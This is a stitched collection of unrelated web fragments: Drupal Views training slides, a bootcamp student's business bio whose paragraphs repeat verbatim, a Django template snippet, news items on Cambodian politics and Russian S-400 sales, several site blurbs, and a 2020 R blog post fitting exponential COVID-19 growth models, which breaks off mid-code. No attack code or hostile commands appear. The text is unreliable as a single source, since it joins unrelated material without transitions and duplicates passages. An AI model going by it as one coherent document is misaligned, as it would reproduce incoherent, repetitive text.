Views Settings
Let's setup Views for success.
Setup tips for debugging
Go to Views Settings
Turn on Show SQL query
Turn on Show performance Statistics
Most of us have made a basic view
Show [view_type (entity)] of type [types_of_this_entity] tagged with: [core_tags] sorted by: [views_sort]
We have a deadline... let's do this quick!
Screenshot of basic view making
Screenshot of basic view
But what are we really building and why?
Lists of Data, displayed in different ways.
Things get complicated really fast.
View Types
View types are not just content, they can be any entity, and a few non-entity extras
Make sure you choose the right view type, so that your relationships work later on
Contrib modules can add additional view types
Filters
This is the large set of data.
Start by getting this correct.
Then you can get more sophisticated with display, sorting, contextual filters and relationships.
Sorts
The order we want to see things in. This is pretty straight forward, but there's more here...
Sorts and Exposed Filters
This is where sorts get powerful. We can set up complex sorts that the user can manipulate.
Adding an exposed filter
Create View
Add Filters
Select "Expose to visitors"
Basic view with exposed sorts (filters)
Change the view filter names
Example of the view with Filters
Advanced Options for Views - Exposed Forms
Advanced Options for Views - Exposed Forms Options
Adding tabs to views
Contextual Filters
Filters from somewhere else (not on this content)
Where regular filters are a broad stroke, Contextual Filters are details.
Screenshot of Contextual Filters
Basic Contextual Filter Options:
What the filter should do if there isn't a value in the URL
What the filter should do if there is a value, (and therefore include any default values from the first section)
Some other options that are independent of how the value gets set
Some Options Explained:
Content ID from URL: 333 from '/node/333'
Taxonomy Term ID: 444 from '/taxonomy/term/444'
User ID from logged in user: 555 from '/user/555' (note: anonymous is 0)
User ID from route context: User ID from D8 Symphony, can also look at author ID
More Options Explained:
Raw value from the URL: each slash is an argument
So: argument '2' would be 'structure' from '/admin/structure/types'
Query parameters: each query is an argument
So: argument 'harry' would be '777' from /admin/structure/types/?harry=777&sally=888
Fixed: any 'hardcoded' value (not flexible, I just want to say the value right here)
Relationships
Links two entities together
If there is an entity reference (this includes taxonomy terms) there can be a relationship.
Without the relationship ALL the view can display is the ID of the entity that is referenced by the Entity ID.
Diagram of Relationships
One to many, many to one
MAKE SURE YOU GO THE RIGHT WAY or you’ll take a performance hit.
Content referenced from field_job_company this is what you want.
Content using field_job_company this is the reverse relationship.
Stretch
Please stand up
and chat with your neighbor
ask them where they grew up.
Let's Make Some Views!
Examples of contextual filters and relationships
A view with a contextual filter
Adding a relationship
Wrong way to do contextual filters
Advanced Features
Descriptions of Advanced Features
Machine name: Add to target with code (a default will be added).
Administrative comment: Just add a note.
Use Ajax: See next slide.
Hide attachments in summaries: relates to attachment view type (kind of a corner case).
Advanced Features - AJAX
Use Ajax: YES!
Do this if you have exposed filters, or dynamic views.
Options such as paging, table sorting and exposed filters will not need a page refresh!
Use this unless it breaks things (more than one view on a page may break the AJAX).
More Descriptions of Advanced Features
Use Aggregation & Query Settings: change the fundamentals of views and how SQL queries
are generated. Use if you have complex SQL problem.
Administrative comment: just add a note
Caching: see next slide
CSS class: Add a class to the view wrapper.
Advanced Features - Caching
Caching: YES!
Time based: Wait for some period of time, then rerun query. You might not see updates
right away. (This is the old way from D7 and before - legacy option!)
Tag based: Default and D8 way! D8 puts tags everywhere that let keep track of what is
related to what. When one tag changes, D8 keeps track of other changes that also might
need to be made.


About Me
I enrolled in the University of Adelaide Full Stack Web Coding Bootcamp so I could learn how to code the end-user device software for a specialised industrial IoT (Internet of Things) tracking product (patent pending)
in development at AssistTech Innovation™, a startup technology company of which I am the owner. To begin, I conducted extensive market research to determine and validate the market's need together with market size.
I then designed the prototype tracker system electronics, programmed in C the embedded controller for processing edge data and developed a specialised LoRaWAN / GPS network system. I could employ a
developer to code the end-user device software but, as mentioned above, will do it myself. It is my fasination in modern web design that led me to learn full stack web development!
My professional background is engineering (mechanical to biomedical) and graduate business studies (Innovation and Entrepreneurship). Throughout my biomedical engineering career, I developed a CPAP machine (form of positive airway pressure ventilator), designed and developed a multi-cell proportional counter for measuring genetic sequences, developed ISO 9001 Design and Development Quality Procedures, pioneered AS/NZS 3551 electromedical equipment testing standards and in addition to many other projects, applied user-centred design methodology to design and develop a wheelchair mounted head controlled robotic arm.
My biggest takeaway from the business studies, apart from accounting and finance, was marketing, and that it is a critical function of success, be it, personal success or business success. In 1998, I won two Enterprise Workshop annual awards for Best Business plan and Best Marketing Plan for a real-life business venture. This was part of graduate studies at UniSA Graduate School of Business. Further recent studies include Digital Marketing, Brand Positioning and Entrepreneurial Negotiation. Next step is a likely MBA.
In addition to AsssistTech Innovation™, I manage the business operation of Absolutely Fabulous Corporate™, a successful corporate uniform fashion business that my wife started many years ago. We have contracts with several companies including a national airline and we proudly manufacture all uniforms in Australia. It is continuous innovation, total customer focus and, importantly, keeping up with economic, technological and societal trends that propels our company to sustainable growth and success.
My professional background is engineering (mechanical to biomedical) and graduate business studies (Innovation and Entrepreneurship). Throughout my biomedical engineering career, I developed a CPAP machine (form of positive airway pressure ventilator), designed and developed a multi-cell proportional counter for measuring genetic sequences, developed ISO 9001 Design and Development Quality Procedures, pioneered AS/NZS 3551 electromedical equipment testing standards and in addition to many other projects, applied user-centred design methodology to design and develop a wheelchair mounted head controlled robotic arm.
My biggest takeaway from the business studies, apart from accounting and finance, was marketing, and that it is a critical function of success, be it, personal success or business success. In 1998, I won two Enterprise Workshop annual awards for Best Business plan and Best Marketing Plan for a real-life business venture. This was part of graduate studies at UniSA Graduate School of Business. Further recent studies include Digital Marketing, Brand Positioning and Entrepreneurial Negotiation. Next step is a likely MBA.
In addition to AsssistTech Innovation™, I manage the business operation of Absolutely Fabulous Corporate™, a successful corporate uniform fashion business that my wife started many years ago. We have contracts with several companies including a national airline and we proudly manufacture all uniforms in Australia. It is continuous innovation, total customer focus and, importantly, keeping up with economic, technological and societal trends that propels our company to sustainable growth and success.


{% extends 'domestic/base.html' %} {% load breadcrumbs from component_tags %} {% load wagtailcore_tags %} {% load wagtailimages_tags %} {% load static %} {% load add_govuk_classes from content_tags %} {% block meta_tags %} {% endblock %} {% block head_title %}Get in touch{% endblock %} {% block body_js %} {{ block.super }} {% endblock %} {% block content %}
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{% if page.page_title %}Answer a few questions about your business and the nature of your enquiry.
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Contact usWe aim to respond within three days.


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Australian state declares emergency due to wildfires
PHNOM PENH: Cambodian opposition leader Kem Sokha met on Monday with the French ambassador after his house arrest was lifted, though he remains charged with treason and is banned from politics and leaving the country.
Sokha greeted Ambassador Eva Nguyen Binh outside his home before going inside for talks.
His house arrest was lifted as the European Union considers whether to cut preferential trade terms after a crackdown by Hun Sen, Cambodia’s authoritarian ruler of more than three decades.


Several Middle Eastern Nations Interested in Russia's S-400 Systems - Russian Gov't Agency
DUBAI (Sputnik) - The S-400 systems, which entered service in 2007, replaced the Russian army's S-300 and S-200 systems and were designed to engage all types of targets, including drones and cruise missiles.
Several Middle Eastern countries have expressed interest in Russia's S-400 air defence system, a representative from Russia's Federal Service for Military-Technical Cooperation said on Sunday.
"Several countries from the Middle East have expressed interest in the [S-400] systems. We will look into the requests made by foreign entities into these systems", company spokeswoman Maria Vorobyova said at the Dubai Airshow 2019, which started on Sunday.
Vorobyeva added that Russia and Riyadh are currently discussing terms for a 2017 deal the two sides signed on the delivery of Russian S-400 air defence systems to Saudi Arabia, to go into effect.
"[Russia] and Saudi Arabia signed a deal in 2017 for the delivery of S-400 'Triumph' [air defence systems]. Currently, we are discussing with our partners mutually agreed-upon conditions for the deal to go into effect", Maria Vorobyeva said.
This year, Russia completed the delivery of all components of the S-400 air defence missile systems to Turkey. According to Turkish President Tayyip Erdogan, the S-400 will be fully operational in April 2020.


LONANA is the best website for automation of the time-consuming process of manual background check, which can be done in fraction of seconds after filling the details. No need for manpower as the analysis is done by the model itself. Accuracy of the prediction model will be continuously improving, as many people will use it and feed it with data.


October 11th, 2017
What XFCE is, how it compares to other desktop environments, and why I personally think it's still a great choice in 2017.


How to create 3D printable cookie forms
With a little kotlin and the simple-3d library.
1. Upload an image
It should have a simple form surrounded by a white background.
or
2. Finding the outline
3. Finding straight lines and simplify the form
4. Extrude the form into a 3D model
Drag with the mouse to rotate the model.
Adjust the size
0
x
0
5. Download the 3D model
Download


"and is an open source collaboration project that provides templates, tools and methods to help you
create custom Linux-based systems for embedded products regardless of the hardware architecture."
The advisory board includes members from several key silicon vendors, embedded Linux suppliers and the OpenEmbedded community


--- title: "COVID-19 and R Part XI" author: "Drew Tyre" date: '2020-03-27' output: pdf_document: default html_document: code_folding: hide word_document: default og_image: /post/covid-19_in_r_xi_files/figure-html/featured_image-1.png draft: no slug: COVID-19_and_R_XI tags_include: - R - OPD - COVID19 categories: Research ---
Yes, the USA has more cases than anyone else in the world, but per capita we have fewer than Australia, Germany, and Canada at the same point in the outbreak. However the rate of increase is higher, as shown by the shorter doubling time, and the slope of the US line being steeper. The USA will catch up to Germany on a per capita basis within the next few days.
I’ve got state level data back and do some exploration with that. I hope the data structure is a bit more stable going forward. The state and province figures are below the Full Data Nerd heading, just skip over the giant code blocks.
The first post in this series was a week and a half ago, in case you’re just joining and want to see the progression.
DISCLAIMER: These unofficial results are not peer reviewed, and should not be treated as such. My goal is to learn about forecasting in real time, how simple models compare with more complex models, and even how to compare different models.1
The figure below is complex, so I’ll highlight some features first. The y axis is now Active and Recovered cases / 100,000 population to make it easier to compare locales. The SOLID LINES are exponential growth models that assume the rate of increase is constant. The dashed lines are predictions from that model. The red rectangle shows the range of ICU bed capacity per 100,000 population in each country. The faded solid lines are the fitted models for the other countries, to facilitate comparisons. The lower limit assumes all reported cases need ICU care (unlikely, but worst case). The top of the rectangle assumes only 5% of cases need ICU support. That best case assumes that the confirmed cases are a good representation of the size of the outbreak (also unlikely, unfortunately). Note that the y axis is logarithmic. The x axis is days since the 100th case in each country.
Other than Germany continuing to #flattenthecurve, the most interesting feature of today’s plot is how much lower the prevalence is in the USA. Yes, the USA has more cases than anyone else in the world, but per capita we have fewer than these countries here at the same point in the outbreak. However the rate of increase is higher, as shown by the shorter doubling time, and the slope of the US line being steeper. The USA will catch up to Germany on a per capita basis within the next few days.
I think it’s worth reminding everyone that the red box is a very fuzzy estimate of where ICU beds might be limited. There are 1.5 orders of magnitude in per capita beds between the top and the bottom. I’ve pulled those country level numbers from a wide range of reports and papers published over several years. Many hard hit locales are building more hospital beds, and there is variation from state to state in any case. Nurses, doctors, and the PPE they need to stay safe seem likely to be as or more limiting to care than beds at this stage.
If you’ve read this far, there’s a plot of canadian provinces, and several plots of different american states. Be sure to scroll down past the enormous blocks of code.
Johannes Knops, a colleague from Xi’an Jiaotong Liverpool University, brought this site created by his staff to my attention. They have an R package for the data! Unfortunately it is weirdly tough to install, triggering lots of errors. Seems to work, but once I dug into it I couldn’t tell if the datasets were time series, or just the most recent day. They don’t use a standardized date format either, so I’ve given up on that.
It looks like the county / state level data is available through the daily reports at JHU. I had nearly resigned myself to processing all those reports into a time series myself, when I stumbled on this project that provides an API to formatted versions of the JHU data.
A little manual checking between the API values and the JHU dashboard shows some discrepancies, but could easily be due to differences in the time of updating. I’ll redo the figure from above pulling the data from the API.
library("tidyverse")
library("lubridate")
library("broom")
savefilename <- "data/api_wide_2020-03-27.Rda"
# The following code is commented out and left in place. This isn't particularly good coding
# practice, but I don't want to have to rewrite it every day when I get the updated data.
# I archive the data rather than pull fresh because this data source is very volatile, and
# data that worked with this code yesterday might break today.
# api_confirmed_countries <- read_csv("https://coviddata.github.io/covid-api/v1/countries/cases.csv")
# api_deaths_countries <- read_csv("https://coviddata.github.io/covid-api/v1/countries/deaths.csv")
# api_recoveries_countries <- read_csv("https://coviddata.github.io/covid-api/v1/countries/recoveries.csv")
#
# save(api_confirmed_countries, api_deaths_countries, api_recoveries_countries, file = savefilename)
load(savefilename)
country_data <- read_csv("data/countries_covid-19.csv") %>%
mutate(start_date = mdy(start_date)) %>%
rename(Country = country_region,
Region = province)
only_country_data <- filter(country_data, is.na(Region))
source("R/jhu_helpers.R")
countries <- c("United States", "Australia", "Germany", "Canada")
# Take the wide format data and make it long
all_countries <- list(
confirmed = other_wide2long(api_confirmed_countries, countries = countries),
deaths = other_wide2long(api_deaths_countries, countries = countries)
) %>%
bind_rows(.id = "variable") %>%
pivot_wider(names_from = variable, values_from = cumulative_cases) %>%
group_by(Country) %>%
mutate(incident_cases = c(0, diff(confirmed)),
incident_deaths = c(0, diff(deaths)),
active_recovered = confirmed - deaths ) %>%
left_join(only_country_data, by = "Country") %>%
mutate(icpc = incident_cases / popn / 10,
arpc = active_recovered / popn / 10,
date_100 = Date[min(which(confirmed >= 100))],
day100 = as.numeric(Date - date_100)) %>%
ungroup() %>%
mutate(Country = factor(Country, levels = countries),
group = Country)
# recreate this adding date_100
only_country_data <- all_countries %>%
group_by(Country) %>%
summarize(date_100 = first(date_100),
popn = first(popn),
icu_beds = first(icu_beds)) %>%
mutate(max_icu_beds = icu_beds * 20,
start_day = 0,
end_day = 28)
all_models <- all_countries %>%
mutate(log10_ar = log10(active_recovered)) %>%
filter(day100 <= 13, day100 >= 0) %>% # model using first 2 weeks of data
group_by(Country) %>%
nest() %>%
mutate(model = map(data, ~lm(log10_ar~day100, data = .)))
all_fit <- all_models %>%
mutate(fit = map(model, augment, se_fit = TRUE),
fit = map(fit, select, -c("log10_ar","day100"))) %>%
select(-model) %>%
unnest(cols = c("data","fit")) %>%
mutate(fit = 10^.fitted,
lcl = 10^(.fitted - .se.fit * qt(0.975, df = 10)),
ucl = 10^(.fitted + .se.fit * qt(0.975, df = 10)),
fitpc = fit / popn / 10,
lclpc = lcl / popn / 10,
uclpc = ucl / popn / 10) %>%
ungroup()
#all_predicted <- all_by_province %>%
all_predicted <- cross_df(list(Country = factor(countries, levels = countries),
day100 = 14:28)) %>%
group_by(Country) %>%
nest() %>%
left_join(select(all_models, Country, model), by="Country") %>%
mutate(predicted = map2(model, data, ~augment(.x, newdata = .y, se_fit = TRUE)),
sigma = map_dbl(model, ~summary(.x)$sigma)) %>%
select(-c(model,data)) %>%
unnest(cols = predicted) %>%
ungroup() %>%
left_join(only_country_data, by = "Country") %>%
mutate(
Date = date_100 + day100,
Country = factor(Country, levels = countries), # use factor to modify plot order
fit = 10^.fitted,
pred_var = sigma^2 + .se.fit^2,
lpl = 10^(.fitted - sqrt(pred_var)*qt(0.975, df = 10)),
upl = 10^(.fitted + sqrt(pred_var)*qt(0.975, df = 10)),
fitpc = fit / popn / 10,
lplpc = lpl / popn / 10,
uplpc = upl / popn / 10)
doubling_times <- all_models %>%
mutate(estimates = map(model, tidy)) %>%
unnest(cols = estimates) %>% # produces 2 rows per country, (intercept) and day100
filter(term == "day100") %>%
select(Country, estimate, std.error) %>%
mutate(var_b = std.error^2,
t = log10(2) / estimate,
var_t = var_b * log10(2)^2 / estimate^4,
lcl_t = t - sqrt(var_t)*qt(0.975, 12),
ucl_t = t + sqrt(var_t)*qt(0.975, 12),
label = sprintf("%.2f (%.2f, %.2f)", t, lcl_t, ucl_t))
facet_labels <- doubling_times %>%
mutate(label = paste0(Country," doubling time (95% CL): ", label)) %>%
pull(label)
names(facet_labels) <- pull(doubling_times, Country)
ggplot(data = filter(all_countries, day100 >= 0),
mapping = aes(x = day100)) +
geom_point(mapping = aes(y = arpc, color = Country)) +
facet_wrap(~Country, dir="v", labeller = labeller(Country = facet_labels)) +
scale_y_log10() +
theme(legend.position = "none",
legend.title = element_blank()) +
geom_line(data = all_fit,
mapping = aes(y = fitpc, color = Country),
size = 1.25) +
geom_line(data = select(all_fit, -Country),
mapping = aes(y = fitpc, color = group), alpha = 0.5, size = 1.5) +
geom_ribbon(data = all_fit,
mapping = aes(ymin = lclpc, ymax = uclpc),
alpha = 0.2) +
geom_line(data = all_predicted,
mapping = aes(y = fitpc, color = Country),
linetype = 2) +
geom_ribbon(data = all_predicted,
mapping = aes(ymin = lplpc, ymax = uplpc),
alpha = 0.2) +
geom_rect(data = only_country_data,
mapping = aes(x = start_day, xmin = start_day, xmax = end_day, ymin = icu_beds, ymax = icu_beds * 20),
fill = "red", alpha = 0.2) +
labs(y = "Active and Recovered cases per 100,000 population", title = "Active and Recovered cases by days since 100th case",
x = "Days since 100th case",
subtitle = "Solid line: exponential model; Dashed line: forecast cases with 95% prediction intervals.",
caption = paste("Source data: https://github.com/CSSEGISandData/COVID-19 downloaded ",
format(file.mtime(savefilename), usetz = TRUE),
"\n Unofficial, not peer reviewed results.",
"\n Copyright Andrew Tyre 2020. Distributed with MIT License.")) +
geom_text(data = slice(only_country_data, 1),
mapping = aes(y = 1.4*icu_beds),
x = 0, #ymd("2020-03-01"),
label = "# ICU beds / 100K",
size = 2.5, hjust = "left") +
geom_text(data = slice(only_country_data, 1),
mapping = aes(y = 20*icu_beds),
x = 0, #ymd("2020-03-01"),
label = "# 20 times ICU beds / 100K",
size = 2.5, hjust = "left", vjust = "top")
So, not identical, but close. Also the API has the recovered data back – there are some bugs in it, days with missing data etc, but I will resume using it to calculate active cases because lots of people are starting to recover.
Now that I have an automated way to calculate a start date, lets get serious. What are the doubling times for each province in Canada with more than 20 cumulative cases and at least 5 days of data?
savefilename <- "data/api_regions_2020-03-27.Rda"
# The following code is commented out and left in place. This isn't particularly good coding
# practice, but I don't want to have to rewrite it every day when I get the updated data.
# I archive the data rather than pull fresh because this data source is very volatile, and
# data that worked with this code yesterday might break today.
# api_confirmed_regions <- read_csv("https://coviddata.github.io/covid-api/v1/regions/cases.csv")
# api_deaths_regions <- read_csv("https://coviddata.github.io/covid-api/v1/regions/deaths.csv")
# api_recoveries_regions <- read_csv("https://coviddata.github.io/covid-api/v1/regions/recoveries.csv")
#
# save(api_confirmed_regions, api_deaths_regions, api_recoveries_regions, file = savefilename)
load(savefilename)
canada_by_region <- list(
confirmed = other_wide2long(api_confirmed_regions, countries = "Canada"),
deaths = other_wide2long(api_deaths_regions, countries = "Canada"),
# recovered data is a mess lots of missing values
recoveries = other_wide2long(api_recoveries_regions, countries = "Canada")
) %>%
bind_rows(.id = "variable") %>%
pivot_wider(names_from = variable, values_from = cumulative_cases) %>%
group_by(Region) %>%
mutate(incident_cases = c(0, diff(confirmed)),
incident_deaths = c(0, diff(deaths)),
active = confirmed - deaths - recoveries) %>%
left_join(country_data, by = c("Country", "Region")) %>%
mutate(icpc = incident_cases / popn / 10,
arpc = active / popn / 10,
group = Region,
date_20 = Date[min(which(confirmed >= 20))],
day20 = as.numeric(Date - date_20),
samplesize = max(day20)) %>%
ungroup() %>%
filter(!is.na(date_20),
samplesize > 4) # remove regions with less than 20 cases total or fewer than 5 days.
# recreate this adding date_100
canada_data <- canada_by_region %>%
group_by(Region) %>%
summarize(date_20 = first(date_20),
popn = first(popn),
icu_beds = first(icu_beds),
maxday20 = max(day20)) %>%
mutate(max_icu_beds = icu_beds * 20,
start_day = 0,
end_day = 28)
all_models <- canada_by_region %>%
mutate(log10_ar = log10(active)) %>%
filter(day20 <= 13, day20 >= 0) %>% # model using first 2 weeks of data
group_by(Region) %>%
nest() %>%
mutate(model = map(data, ~lm(log10_ar~day20, data = .)))
all_fit <- all_models %>%
mutate(fit = map(model, augment, se_fit = TRUE),
fit = map(fit, select, -c("log10_ar","day20"))) %>%
select(-model) %>%
unnest(cols = c("data","fit")) %>%
mutate(fit = 10^.fitted,
lcl = 10^(.fitted - .se.fit * qt(0.975, df = 10)),
ucl = 10^(.fitted + .se.fit * qt(0.975, df = 10)),
fitpc = fit / popn / 10,
lclpc = lcl / popn / 10,
uclpc = ucl / popn / 10)
#all_predicted <- all_by_province %>%
all_predicted <- cross_df(list(Region = pull(canada_data, Region),
day20 = 5:28)) %>%
group_by(Region) %>%
nest() %>%
left_join(select(all_models, Region, model), by="Region") %>%
mutate(predicted = map2(model, data, ~augment(.x, newdata = .y, se_fit = TRUE)),
sigma = map_dbl(model, ~summary(.x)$sigma)) %>%
select(-c(model,data)) %>%
unnest(cols = predicted) %>%
ungroup() %>%
left_join(canada_data, by = "Region") %>%
filter(day20 > pmin(maxday20+1, 13)) %>%
mutate(
Date = date_20 + day20,
Region = Region, # use factor to modify plot order
fit = 10^.fitted,
pred_var = sigma^2 + .se.fit^2,
lpl = 10^(.fitted - sqrt(pred_var)*qt(0.975, df = 10)),
upl = 10^(.fitted + sqrt(pred_var)*qt(0.975, df = 10)),
fitpc = fit / popn / 10,
lplpc = lpl / popn / 10,
uplpc = upl / popn / 10)
doubling_times <- all_models %>%
mutate(estimates = map(model, tidy)) %>%
unnest(cols = estimates) %>% # produces 2 rows per country, (intercept) and day100
filter(term == "day20") %>%
select(Region, estimate, std.error) %>%
mutate(var_b = std.error^2,
t = log10(2) / estimate,
var_t = var_b * log10(2)^2 / estimate^4,
lcl_t = t - sqrt(var_t)*qt(0.975, 12),
ucl_t = t + sqrt(var_t)*qt(0.975, 12),
label = sprintf("%.2f (%.2f, %.2f)", t, lcl_t, ucl_t))
facet_labels <- doubling_times %>%
mutate(label = paste0(Region," doubling time (95% CL): ", label)) %>%
pull(label)
names(facet_labels) <- pull(doubling_times, Region)
ggplot(data = filter(canada_by_region, day20 >= 0),
mapping = aes(x = day20)) +
geom_point(mapping = aes(y = arpc, color = Region)) +
facet_wrap(~Region, dir="v", labeller = labeller(Region = facet_labels)) +
scale_y_log10() +
theme(legend.position = "none",
legend.title = element_blank()) +
geom_line(data = all_fit,
mapping = aes(y = fitpc, color = Region),
size = 1.25) +
geom_ribbon(data = all_fit,
mapping = aes(ymin = lclpc, ymax = uclpc),
alpha = 0.2) +
geom_line(data = all_predicted,
mapping = aes(y = fitpc, color = Region),
linetype = 2) +
geom_ribbon(data = all_predicted,
mapping = aes(ymin = lplpc, ymax = uplpc),
alpha = 0.2) +
geom_rect(data = canada_data,
mapping = aes(x = start_day, xmin = start_day, xmax = end_day, ymin = icu_beds, ymax = icu_beds * 20),
fill = "red", alpha = 0.2) +
labs(y = "Active cases per 100,000 population", title = "Active cases by days since 20th case",
x = "Days since 20th case",
subtitle = "Solid line: exponential model; Dashed line: forecast cases with 95% prediction intervals.",
caption = paste("Source data: https://github.com/CSSEGISandData/COVID-19 downloaded ",
format(file.mtime(savefilename), usetz = TRUE),
"\n Unofficial, not peer reviewed results.",
"\n Copyright Andrew Tyre 2020. Distributed with MIT License.")) +
geom_text(data = slice(canada_data, 1),
mapping = aes(y = icu_beds),
x = 0, #ymd("2020-03-01"),
label = "# ICU beds / 100K",
size = 2.5, hjust = "left", vjust = "bottom") +
geom_text(data = slice(canada_data, 1),
mapping = aes(y = 20*icu_beds),
x = 0, #ymd("2020-03-01"),
label = "# 20 times ICU beds / 100K",
size = 2.5, hjust = "left", vjust = "top")
Quebec appears to be in the worst shape with the shortest doubling time in active cases and the highest prevalence. British Columbia and Ontario have the longest running outbreaks, and the trajectories are still consistent with exponential growth.
usa_by_region <- list(
confirmed = us_wide2long(api_confirmed_regions, "United States"),
deaths = us_wide2long(api_deaths_regions, "United States"),
# recovered data is a mess lots of missing values
recoveries = us_wide2long(api_recoveries_regions, "United States")
) %>%
bind_rows(.id = "variable") %>%
pivot_wider(names_from = variable, values_from = cumulative_cases) %>%
group_by(Region) %>%
mutate(incident_cases = c(0, diff(confirmed)),
incident_deaths = c(0, diff(deaths)),
active = confirmed - deaths - recoveries) %>%
left_join(country_data, by = c("Country", "Region")) %>%
mutate(icpc = incident_cases / popn / 10,
arpc = active / popn / 10,
group = Region,
date_20 = Date[min(which(confirmed >= 20))],
day20 = as.numeric(Date - date_20),
samplesize = max(day20)) %>%
ungroup() %>%
filter(!is.na(date_20),
samplesize > 4) # remove regions with less than 20 cases total or fewer than 5 days.
# recreate this adding date_100
usa_data <- usa_by_region %>%
group_by(Region) %>%
summarize(date_20 = first(date_20),
popn = first(popn),
icu_beds = first(icu_beds),
maxday20 = max(day20)) %>%
mutate(max_icu_beds = icu_beds * 20,
start_day = 0,
end_day = 28)
all_models <- usa_by_region %>%
mutate(log10_ar = log10(active)) %>%
filter(day20 <= 13, day20 >= 0) %>% # model using first 2 weeks of data
group_by(Region) %>%
nest() %>%
mutate(model = map(data, ~lm(log10_ar~day20, data = .)))
all_fit <- all_models %>%
mutate(fit = map(model, augment, se_fit = TRUE),
fit = map(fit, select, -c("log10_ar","day20"))) %>%
select(-model) %>%
unnest(cols = c("data","fit")) %>%
mutate(fit = 10^.fitted,
lcl = 10^(.fitted - .se.fit * qt(0.975, df = 10)),
ucl = 10^(.fitted + .se.fit * qt(0.975, df = 10)),
fitpc = fit / popn / 10,
lclpc = lcl / popn / 10,
uclpc = ucl / popn / 10) %>%
ungroup()
#all_predicted <- all_by_province %>%
all_predicted <- cross_df(list(Region = pull(usa_data, Region),
day20 = 5:28)) %>%
group_by(Region) %>%
nest() %>%
left_join(select(all_models, Region, model), by="Region") %>%
mutate(predicted = map2(model, data, ~augment(.x, newdata = .y, se_fit = TRUE)),
sigma = map_dbl(model, ~summary(.x)$sigma)) %>%
select(-c(model,data)) %>%
unnest(cols = predicted) %>%
ungroup() %>%
left_join(usa_data, by = "Region") %>%
filter(day20 > pmin(maxday20+1, 13)) %>%
mutate(
Date = date_20 + day20,
Region = Region, # use factor to modify plot order
fit = 10^.fitted,
pred_var = sigma^2 + .se.fit^2,
lpl = 10^(.fitted - sqrt(pred_var)*qt(0.975, df = 10)),
upl = 10^(.fitted + sqrt(pred_var)*qt(0.975, df = 10)),
fitpc = fit / popn / 10,
lplpc = lpl / popn / 10,
uplpc = upl / popn / 10)
doubling_times <- all_models %>%
mutate(estimates = map(model, tidy)) %>%
unnest(cols = estimates) %>% # produces 2 rows per country, (intercept) and day100
ungroup() %>%
filter(term == "day20") %>%
select(Region, estimate, std.error) %>%
mutate(var_b = std.error^2,
t = log10(2) / estimate,
var_t = var_b * log10(2)^2 / estimate^4,
lcl_t = t - sqrt(var_t)*qt(0.975, 12),
ucl_t = t + sqrt(var_t)*qt(0.975, 12),
label = sprintf("%.2f (%.2f, %.2f)", t, lcl_t, ucl_t),
Region = fct_reorder(Region, t, .desc = TRUE))
ggplot(data = doubling_times,
mapping = aes(x = Region))+
geom_point(mapping = aes(y = t))+
geom_errorbar(mapping = aes(ymin = lcl_t, ymax = ucl_t),
width = 0) +
labs(y = "Doubling Time [days 95%CI]",
title = "Doubling time of active cases",
subtitle = "Estimated from first 14 days since 20th case reported.") +
theme_classic() +
theme(axis.text.x = element_text(angle=90, vjust=0.5, size=9),
axis.title.x = element_blank())
There are too many states to show the trajectories effectively, so I just plot the doubling times from longest (best) to shortest (worst). States with larger confidence limits are states with less than 14 days of data since reporting their 20th case. All states in that plot (49) have statistically significant exponential growth during the first days of the epidemic. I’m going to pick out the trajectories of the states on the far left and far right.
states_2_plot <- c("North Dakota", "Nebraska", "Wyoming", "Missouri", "New Jersey", "Michigan")
state_data <- filter(usa_data, Region %in% states_2_plot) %>%
mutate(Region = factor(Region, levels = states_2_plot)) # control plot order
point_data <- filter(usa_by_region, day20>=0,
Region %in% states_2_plot) %>%
mutate(Region = factor(Region, levels = states_2_plot)) # control plot order
fit_data <- filter(all_fit, Region %in% states_2_plot) %>%
mutate(Region = factor(Region, levels = states_2_plot)) # control plot order
predict_data <- filter(all_predicted, Region %in% states_2_plot) %>%
mutate(Region = factor(Region, levels = states_2_plot)) # control plot order
doubling_t_data <- filter(doubling_times, Region %in% states_2_plot) %>%
mutate(Region = factor(Region, levels = states_2_plot)) # control plot order
facet_labels <- doubling_t_data %>%
arrange(desc(t)) %>%
mutate(label = paste0(Region," doubling time (95% CL): ", label)) %>%
pull(label)
names(facet_labels) <- doubling_t_data %>%
arrange(desc(t)) %>%
pull(Region)
ggplot(data = point_data,
mapping = aes(x = day20)) +
geom_point(mapping = aes(y = arpc, color = Region)) +
facet_wrap(~Region, dir="v", labeller = labeller(Region = facet_labels)) +
scale_y_log10() +
theme(legend.position = "none",
legend.title = element_blank()) +
geom_line(data = fit_data,
mapping = aes(y = fitpc, color = Region),
size = 1.25) +
geom_ribbon(data = fit_data,
mapping = aes(ymin = lclpc, ymax = uclpc),
alpha = 0.2) +
geom_line(data = predict_data,
mapping = aes(y = fitpc, color = Region),
linetype = 2) +
geom_ribbon(data = predict_data,
mapping = aes(ymin = lplpc, ymax = uplpc),
alpha = 0.2) +
geom_rect(data = state_data,
mapping = aes(x = start_day, xmin = start_day, xmax = end_day, ymin = icu_beds, ymax = icu_beds * 20),
fill = "red", alpha = 0.2) +
labs(y = "Active cases per 100,000 population", title = "Active cases by days since 20th case",
x = "Days since 20th case",
subtitle = "Solid line: exponential model; Dashed line: forecast cases with 95% prediction intervals.",
caption = paste("Source data: https://github.com/CSSEGISandData/COVID-19 downloaded ",
format(file.mtime(savefilename), usetz = TRUE),
"\n Unofficial, not peer reviewed results.",
"\n Copyright Andrew Tyre 2020. Distributed with MIT License.")) +
geom_text(data = slice(state_data, 5),
mapping = aes(y = icu_beds),
x = 0, #ymd("2020-03-01"),
label = "# ICU beds / 100K",
size = 2.5, hjust = "left", vjust = "bottom") +
geom_text(data = slice(state_data, 5),
mapping = aes(y = 20*icu_beds),
x = 0, #ymd("2020-03-01"),
label = "# 20 times ICU beds / 100K",
size = 2.5, hjust = "left", vjust = "top")
Looks like Michigan is the next state to be in trouble? Actually, other states might have higher prevalence but longer doubling times. Which four states have the highest per capita prevalence?
usa_by_region %>%
group_by(Region) %>%
summarize(highest_prevalence = max(arpc)) %>%
ungroup() %>%
arrange(desc(highest_prevalence)) %>%
slice(1:4)
## # A tibble: 4 x 2
## Region highest_prevalence
## <chr> <dbl>
## 1 New York 193.
## 2 New Jersey 76.5
## 3 Louisiana 47.8
## 4 Washington 40.1
That’s cases per 100,000 population, so even New York is only just 0.2%.  Of course it isn’t evenly spread as that calculation assumes.
states_2_plot <- c("New York", "New Jersey", "Louisiana", "Washington")
state_data <- filter(usa_data, Region %in% states_2_plot) %>%
mutate(Region = factor(Region, levels = states_2_plot)) # control plot order
point_data <- filter(usa_by_region, day20>=0,
Region %in% states_2_plot) %>%
mutate(Region = factor(Region, levels = states_2_plot)) # control plot order
